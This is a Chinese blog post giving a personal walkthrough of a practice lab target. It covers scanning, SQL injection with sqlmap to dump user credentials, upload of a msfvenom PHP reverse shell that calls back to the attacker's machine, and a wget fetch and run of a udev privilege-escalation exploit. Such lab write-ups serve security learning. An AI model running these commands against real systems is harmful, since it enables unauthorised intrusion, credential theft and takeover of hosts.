打靶记录(个人学习笔记)

2024-03-19 19:04

本文主要是介绍打靶记录(个人学习笔记),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、信息收集

1、主机发现

通过nmap对此网段进行扫描,可以确定靶机ip为192.168.189.144

2、端口扫描

确定了靶机ip之后,我们来扫描端口

发现80端口开放,先访问80端口

用插件识别出一些信息

Wappalyzer插件获得信息:Web服务:Apache2.2.3操作系统:Centos后端语言:PHP 5.2.6

二、漏洞扫描

AWVS:

Awvs进行Web漏洞探测发现

功能介绍如下:仪表盘(监视器)功能,添加目标功能,漏洞排序功能,扫描功能,发现功能,用户功能,扫描配置功能,网络扫描功能,追踪器功能,防火墙设置,邮件设置,引擎,时间排除功能,代理功能,常规设置主要使用的功能是前面的6个,后面的根据个人的需要进行配置详细介绍如下:Dashboard功能:翻译意思仪表盘(监视器),可以对扫描对扫描完成目标进行排列,可以单独点击进去查看详细的扫描信息;Targets功能:目标,可以对扫描的目标进行添加,可以单个添加,可以多个添加或者按组添加;Vulnerabilities功能:漏洞排序功能,对扫描出来的漏洞从高危到低位降序排列Scans功能:扫描,可以新建扫描(自己可以配置扫描的参数),可以直接看到扫描记录;Reports功能:可以对扫描的报告进行导出; Discovery功能:字面意思是发现,可以进行设置,有包含一些地址和组织的功能需要自己手动添加,也有排除一些地址和组织的功能,需要自己手动添加;Users功能:可以添加用户删除用户;Scan Profiles功能:扫描配置功能,可以选择对那些漏洞扫描,默认都选不用管;Network Scanner功能:网络扫描,需要设置扫描的地址端口,账号和密码;Issue Trackers功能:问题追踪器,如果扫描失败,进行配置,然后这个功能会尝试链接目标地址看出现什么问题;WAFs功能:防火墙设置,可以配置web应用程序防火墙;Email Settings功能:邮件设Engines功能:引擎Excluded Hours功能:小时排除,可以对一些时间进行排除Proxy Settings功能:代理功能,可以设置代理General Settings功能:常规设置

打开AWVS,在目标中输入我们靶机的ip地址:http://192.168.189.144/

点击保存之后开始进行扫描,可以看到出现一些高危漏洞,然后我们根据他给出的漏洞位置进行验证漏洞的真实性

根据给定的sql注入点进行测试

使用kali自带的sqlmap先跑出数据库:sqlmap -u http://192.168.189.144/index.php?id=2 --dbs

再跑数据库cms的表:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms --tables

再跑user表的字段和值:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user --column

sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user -C 'user_username,user_password' --dump

可以看到成功跑出了数据库的用户名和密码

也可以使用nikto漏扫工具进行扫描:

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。

CGI漏洞:cgi漏洞是Common Gateway Interface(公用网关接口)的简称,并不特指一种语言。CGI语言漏洞分为配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。

Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。

web服务器软件编制中的BUG

web服务器的配置错误

命令:nikto –h http://靶机IP

扫描之后可以看到有敏感目录泄露:

http://192.168.189.144/sql/db.sql

进入网站可以看到泄露了用户名和密码:

INSERT INTO user SET user_id = 1, user_username='admin', user_password=md5('adminpass');

找到登录页面,拿获取到的用户名和密码进行登录

http://192.168.189.144/?action=login

可以看到登录成功,但是没有看到多余的标签页,还是Home、login 这时我们考虑到是否有其他页面没有显示出来,我们可以尝试用不同的浏览器测试。我这里再谷歌浏览器中尝试登录打开,看是否后有什么新的页面展示出来,可以看到会多出来一些东西

可以发现上传页面

密码修改页面

接下来继续访问敏感路径:敏感目录探测:/docs/:

可以下载下来进行查看

可以在其中发现action目录下面存在文件包含漏洞

利用一下

MSF反弹shell

msfvenom msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线.部分参数:-p 选择一个载荷[payload],或者说一个模块吧。-l 载荷列表-f 生成的文件格式-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-h 帮助-f exe 生成EXE格式LHOST,LPORT 监听上线的主机IP和端口我们这里使用的命令为: 用msf生成php反向shell 命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=kali的IP LPORT=4444 -o shell.php 参数解释: Reverse_tcp(攻击方被动连接的payload) Bind_tcp(攻击方主动连接的payload)

使用msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.189.138 LPORT=4444 -o shell.php命令进行生成反弹shell木马

上传我们生成好的shell木马

可以看到已经上传成功

我们打开它

接下来启动监听模块:use exploit/multi/handler

再配置payload

msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp

设置本地ip

exploit(multi/handler) > set lhost 192.168.189.144 设置本地地址

exploit(multi/handler) > set 查看配置

exploit(multi/handler) > exploit开启监听

刷新我们上传的反弹shell,进行连接

http://192.168.189.144/files/shell.php

可以发现成功连接

发现不是root权限,接下来开始提权,先查看系统版本:sysinfo

我们可以看到系统内核是:Linux 内核2.6版本

通过查阅,发现有Linux 内核2.6版本udev提权(CVE-2009-1185)

三、提权操作

输入searchsploit linux udev ,查找内核版本相关漏洞及攻击代码

说明:“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。

之后定位具体位置

拷贝到当前路径

下面准备把提权文件上传到靶机,首先要开启http服务:python -m http.server

用靶机下载:wget http://192.168.189.138:8000/8478.sh

赋予执行权限:chmod +x 8478.sh

利用攻击脚本进行攻击,查看一下当前的进程:

cat /proc/net/netlink           #查看进程号PID

使用./8478.ssh+PID进程号进行提权,提权成功后可以修改root密码进行登录

这篇关于打靶记录(个人学习笔记)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/826978

相关文章

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Spring Boot中定时任务Cron表达式的终极指南最佳实践记录

《SpringBoot中定时任务Cron表达式的终极指南最佳实践记录》本文详细介绍了SpringBoot中定时任务的实现方法,特别是Cron表达式的使用技巧和高级用法,从基础语法到复杂场景,从快速启... 目录一、Cron表达式基础1.1 Cron表达式结构1.2 核心语法规则二、Spring Boot中定

Java进阶学习之如何开启远程调式

《Java进阶学习之如何开启远程调式》Java开发中的远程调试是一项至关重要的技能,特别是在处理生产环境的问题或者协作开发时,:本文主要介绍Java进阶学习之如何开启远程调式的相关资料,需要的朋友... 目录概述Java远程调试的开启与底层原理开启Java远程调试底层原理JVM参数总结&nbsMbKKXJx

使用DeepSeek搭建个人知识库(在笔记本电脑上)

《使用DeepSeek搭建个人知识库(在笔记本电脑上)》本文介绍了如何在笔记本电脑上使用DeepSeek和开源工具搭建个人知识库,通过安装DeepSeek和RAGFlow,并使用CherryStudi... 目录部署环境软件清单安装DeepSeek安装Cherry Studio安装RAGFlow设置知识库总

国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)

《国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)》本文给大家利用deepseek模型搭建私有知识问答库的详细步骤和遇到的问题及解决办法,感兴趣的朋友一起看看吧... 目录1. 第1步大家在安装完ollama后,需要到系统环境变量中添加两个变量2. 第3步 “在cmd中

Spring Retry 实现乐观锁重试实践记录

《SpringRetry实现乐观锁重试实践记录》本文介绍了在秒杀商品SKU表中使用乐观锁和MybatisPlus配置乐观锁的方法,并分析了测试环境和生产环境的隔离级别对乐观锁的影响,通过简单验证,... 目录一、场景分析 二、简单验证 2.1、可重复读 2.2、读已提交 三、最佳实践 3.1、配置重试模板

在 Spring Boot 中使用异步线程时的 HttpServletRequest 复用问题记录

《在SpringBoot中使用异步线程时的HttpServletRequest复用问题记录》文章讨论了在SpringBoot中使用异步线程时,由于HttpServletRequest复用导致... 目录一、问题描述:异步线程操作导致请求复用时 Cookie 解析失败1. 场景背景2. 问题根源二、问题详细分

Java深度学习库DJL实现Python的NumPy方式

《Java深度学习库DJL实现Python的NumPy方式》本文介绍了DJL库的背景和基本功能,包括NDArray的创建、数学运算、数据获取和设置等,同时,还展示了如何使用NDArray进行数据预处理... 目录1 NDArray 的背景介绍1.1 架构2 JavaDJL使用2.1 安装DJL2.2 基本操